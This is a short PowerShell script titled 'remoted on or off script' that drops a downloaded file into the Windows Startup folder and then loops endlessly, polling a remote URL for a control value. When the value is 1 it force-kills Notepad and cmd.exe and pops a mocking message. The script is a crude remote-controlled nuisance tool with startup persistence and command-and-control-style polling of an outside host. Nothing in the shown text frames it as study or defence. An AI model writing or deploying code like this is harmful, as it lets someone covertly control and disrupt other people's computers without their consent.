remoted on or off script | PowerShell

cls
Invoke-WebRequest -Uri "download-file" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
while($running = 5)
{


$data1 = Get-Process -Name "notepad"
$data2 = Get-Process -Name "cmd"




$number = (new-object Net.WebClient).DownloadString("https://website.com/code.fxp")
if(($number) -eq 1)
{


    if($data1)
    {
    taskkill /f /im notepad.exe
    msg * "cant use notepad. reason: yes"
    }
    if($data2)
    {
    taskkill /f /im cmd.exe
    msg * "cant use cmd. reason: yes"
    }




}


    if(($number) -eq 2)
    {

msg * "not working because $number = 2"

    }


}